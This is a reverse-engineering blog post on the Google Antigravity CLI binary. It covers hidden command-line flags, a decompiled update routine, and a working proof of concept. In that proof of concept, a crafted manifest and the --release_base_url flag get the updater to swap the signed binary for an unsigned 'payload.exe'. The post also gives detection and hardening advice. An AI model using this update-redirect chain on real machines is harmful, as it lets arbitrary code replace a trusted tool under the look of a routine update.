A Morning Reversing Antigravity
agy.exe is the command-line binary for Google Antigravity, the agentic coding tool Google has put forward as the successor to the Gemini CLI. As with many other AI CLI binaries, a developer likely leaves this tool running all day, wired into their editor and their repositories. agy --help lists about a dozen options. The binary carries a good deal more than that, and this post is a tour of what the help text leaves out, and of the reverse engineering used to surface it.
I will say up front that none of this is a dramatic vulnerability. The most interesting flag exposes a trust gap in the self-updater that is worth understanding, but reaching it needs control of the command line, which is a high bar. So read this as a walkthrough of methodology and hidden surface, not a disclosure. :)
The binary
| Version | 1.0.8 |
| Size | 151,180,952 bytes |
| SHA-256 | 0DC8EA9258F071A84A94B25BD812783F183E96FE3F35945D0CEB760B6A406E78 |
| Authenticode | Valid, CN=Google LLC |
| Cert serial | 0B50CF246B263EFD85A729315158F3FF (DigiCert EV) |
agy.exe is a Go binary, around 150 MB, symbol-stripped. All the reversing below was done in Ghidra 12.x, driven through pyghidra-mcp, @clearbluejar's MCP server that lets you semantically script the Ghidra decompiler instead of clicking through the UI.
Finding the hidden flags
The first thing I do with an unfamiliar CLI is ask it what it accepts. agy --help covers a modest set:
Usage of agy.exe:
--add-dir Add a directory to the workspace (repeatable) (default [])
-c Short alias for --continue
--continue Continue the most recent conversation
--conversation Resume a previous conversation by ID
--dangerously-skip-permissions Auto-approve all tool permission requests without prompting
-i Short alias for --prompt-interactive
--log-file Override CLI log file path
--model Model for the current CLI session
-p Short alias for --print
--print Run a single prompt non-interactively and print the response
--print-timeout Timeout for print mode wait (default 5m0s)
--prompt Alias for --print
--prompt-interactive Run an initial prompt interactively and continue the session
--sandbox Run in a sandbox with terminal restrictions enabled
Available subcommands:
changelog Show changelog and release notes
help Show help for subcommands
install Configure environment paths and shell settings
models List available models
plugin Manage plugins (install, uninstall, list, enable, disable)
plugins Alias for plugin
update Update CLIThat is the documented surface. It is not the whole one, and Go makes the gap easy to measure. The standard flag package rejects an unknown option with flag provided but not defined: --foo and a non-zero exit, while a registered one parses silently. So I pulled every string with a -- prefix token out of the binary and fed each one back to see which it would accept:
probe() {
out=$(timeout 6 agy.exe --"$1"=test </dev/null 2>&1 | grep -i "not defined")
[ -z "$out" ] && echo "DEFINED --$1" || echo "undefined --$1"
}
strings agy.exe | grep -oE '\-\-[a-z][a-z0-9_-]+' | sort -u \
| while read -r f; do probe "${f#--}"; doneThe timeout matters, because a registered flag like --model parses fine and then leaves the CLI waiting on input. The filter matters too, because a 150 MB Go binary is full of strings that look like flags and are not. The extraction pulls 253 distinct -- tokens: --experimental, --headless, --remote-debugging-port, a wall of --tw-* Tailwind variables from the bundled web UI, sliced fragments of vendored libraries. Probing all 253 leaves 14 that the parser actually accepts. Nine are unremarkable: --help, --version, and seven of the flags already in the help table. The other five are documented nowhere:
--release_base_url
--bg-updater
--app_data_dir
--gemini_dir
--vmoduleGo registers flag names without the leading dashes, so a name like logtostderr lives in the binary as logtostderr, not --logtostderr, and a grep for ---prefixed tokens never sees it. The sweep only catches names that happen to appear dashed somewhere in the string table. So this list is a floor, not a full inventory, and the next section shows where the floor leaks.
What the hidden flags do
The largest group is logging. --vmodule is the visible corner of it: a flag from glog, Google's logging library, which ships a standard cluster. Probing the names the dash-grep missed confirms the whole family is registered: --logtostderr, --alsologtostderr, --stderrthreshold, --v, --log_dir, --log_backtrace_at, --logbuflevel. --v=2 --logtostderr turns on verbose internal logging the help text never advertises, which is useful in its own right when you want to watch the tool work.
--bg-updater appears to be the switch the app flips on itself to run its update check in the background, separate from the user-facing update subcommand.
--app_data_dir and --gemini_dir move where the tool reads and writes its state. --gemini_dir defaults to ~/.gemini, and a look inside this directory is quite revealing: alongside conversation history and caches, it holds oauth_creds.json, an antigravity-oauth-token, google_accounts.json, a config/mcp_config.json, and a trustedFolders.json. The directory is both a credential store and a config store, and the flag points the tool at a different one. It is tempting to call that an attack surface, and other AI CLIs expose a flag like it, but precision matters: getting anything out of it means both writing a config file and controlling how agy launches, and someone who can do both can already run code. Pointing an MCP client at a config that starts a server is the documented behavior of every MCP tool, not a flaw in this one.
--release_base_url is the one worth the rest of the post. Following it was a fun exercise, and it ends on a real trust gap.
The updater, up close
--release_base_url takes a string, and the name suggests it is a prefix of some full update URL. To see what it controls I went looking for the code that builds the update URL. The default endpoint sits in the binary as a constant; I found it by searching the strings for the obvious hostname and mapping the file offset back to a virtual address, 0x142cbbb79:
https://antigravity-cli-auto-updater-974169037036.us-central1.run.appA Cloud Run service literally named antigravity-cli-auto-updater. Cross-references to that address return exactly one hit in the whole 150 MB binary, a data reference from FUN_142582620. One function builds the update URL, and that is it. Decompiled, it is short enough to paste in here:
void FUN_142582620(void) // manifest-URL builder
{
/* stack-growth preamble elided */
if (unaff_RBX == 0) { // caller passed an empty base?
unaff_RBX = 0x45; // length 0x45 == 69
in_RAX = &DAT_142cbbb79; // fall back to the hardcoded default
}
if ((4 < unaff_RBX) && // does the base already end in ".json"?
(CONCAT14(in_RAX[unaff_RBX + -1],
*(undefined4 *)(in_RAX + unaff_RBX + -5)) == 0x6e6f736a2e)) {
return; // yes: take it verbatim, append nothing
}
/* otherwise append the relative manifest path and build the final URL */
FUN_1401516e0(&local_38);
return;
}The whole decision lives in those two if statements. The hardcoded Google URL is used only when the supplied base is empty (unaff_RBX == 0). Hand the function a base, which is what --release_base_url does, and that value is used instead. The one thing it checks is whether the base already ends in .json. If so the base is treated as the complete manifest URL, otherwise the relative manifest path is appended. The result resolves to <base>/manifests/windows_amd64.json. What it never checks is the scheme or the host: no https enforcement, no allowlist, plain http:// accepted without complaint.
This is a per-invocation flag, not a deployment setting, so it seems like a developer override rather than something an admin rolls out fleet-wide. Either way, what matters is everything around it.
The caller is the update handler, FUN_142583cc0, a 32 KB function. Rather than paste it, I traced its control flow and confirmed the landmarks:
a. Resolve manifest URL -> FUN_142582620 (the builder above)
b. Create updater temp dir
c. HTTP GET <manifest URL>
transport error / non-200 -> "Network failure fetching manifest"; return
d. Parse body as JSON; normalize version
e. manifest.version <= current -> "already on the latest version"; return
f. Test manifest.url for a ".tar.gz" suffix
g. HTTP GET <manifest.url> <-- taken straight from the JSON. http:// accepted.
h. Stream body to a temp file
i. sha512(streamed bytes) vs manifest.sha512
mismatch -> "integrity failure: checksum mismatch"; return
match -> "Verification successful."
j. Rename current agy.exe -> agy.exe.<unix_nanos>.old
k. Move temp file into place as the new agy.exe
l. "Update successful! Please restart agy."The question that matters for a signed auto-updater is whether it verifies what it downloads, so I went looking for signature checks. Confirming an absence is a different exercise than confirming a presence: you check the obvious place, then widen the net until nothing is left to hide in. I searched the handler's referenced strings and decompiled body for VerifySignature, openpgp, ed25519, publicKey, Authenticode, found zero hits, then checked its 52 direct callees, still nothing. The binary does statically link OpenPGP's VerifySignature, but it seems a dependency dragged it in and it is never reached on this path.
The one integrity control found is the SHA-512 check at step (i). If the hash in a manifest is zero or a mismatch with the binary, the update aborts with integrity failure: checksum mismatch. The downloaded bytes are checked against a hash that arrived in the same manifest, over the same connection. It proves the file was not corrupted between manifest and download. Nothing is really said about who wrote either one.
Talking to the updater
To test this flag, a static file server at the specified update endpoint is all you need. The manifest has three fields:
{
"version": "9.9.9",
"url": "http://127.0.0.1:8899/payload.exe",
"sha512": "<sha512 of payload.exe>"
}version only has to beat the installed one, url can be plain HTTP, and sha512 is just the hash of whatever you are serving. Point the flag at the server and run the update:
agy.exe --release_base_url=http://127.0.0.1:8899/ updateThe signed binary plays along:
⟳ Checking for updates... (current version 1.0.8)
✓ Found new version 9.9.9.
⟳ Downloading update...
✓ Verification successful.
⟳ Installing update...
✓ Update successful! Please restart agy.Server-side it is four GETs: manifest, payload, then both again for the install phase. Afterward the genuine binary is filed beside the new one as agy.exe.<timestamp>.old, and the file now at agy.exe's path is whatever was served, reporting NotSigned where Google's signature used to be. Something to note here is that there is no Mark-of-the-web or SmartScreen evaluation since this update is all done within the CLI tool itself.
The trust gap, in proportion
So a signed, auto-updating Google tool performs no authenticity check on the update artifact itself. No manifest signature, no Authenticode verification on the downloaded binary, only a TLS connection to one hardcoded host and a hash the manifest supplies about itself. The gap is that the protection ends at TLS. Code signing on updates exists precisely so that a compromised or hijacked distribution channel cannot push code that runs, and agy seems to be missing that.
Now, to redirect the updater you have to launch agy with the flag. There is no environment variable, no config file, and no runtime setter for it, so the value can only arrive on the command line of a freshly launched process. Anyone who can do that can usually already write files as the user, and agy.exe lives in a user-writable directory, so they could overwrite it directly and never touch the updater. The redirect grants no new capability; at most it lets a self-replacement wear the look of a routine update. Google's Bug Hunter program declined an earlier report on exactly this basis, that it presupposes control of command-line arguments, and that is certainly a fair call.
I'll end with two notes from this research anyway. For a defender, because the flag is argv-only with no env, config, or IPC path, command-line and process-creation telemetry is complete coverage: --release_base_url on any agy.exe launch is a high-fidelity signal with nothing to smuggle it past. For the vendor, a way to harden agy.exe could involve signing the manifest with a key pinned in the client, or by verifying the downloaded binary's Authenticode against a pinned CN=Google LLC signer.
Appendix: addresses
Verified in agy.exe 1.0.8 (0DC8EA92…):
| Item | Address |
|---|---|
| Default updater URL constant (69 bytes) | 0x142cbbb79 |
| Manifest-URL builder | FUN_142582620 |
| Update handler | FUN_142583cc0 |
.json suffix test (LE) | 0x6e6f736a2e |
.tar.gz suffix test (overlapping dwords) | 0x7a672e727261742e |
Reversing done with Ghidra via pyghidra-mcp. Verified against agy.exe 1.0.8 on Windows 11 x64. The update-redirect behavior was reported to Google's Bug Hunter (Antigravity) program and declined as presupposing attacker control of command-line arguments. Published as a reverse-engineering walkthrough, not a vulnerability disclosure.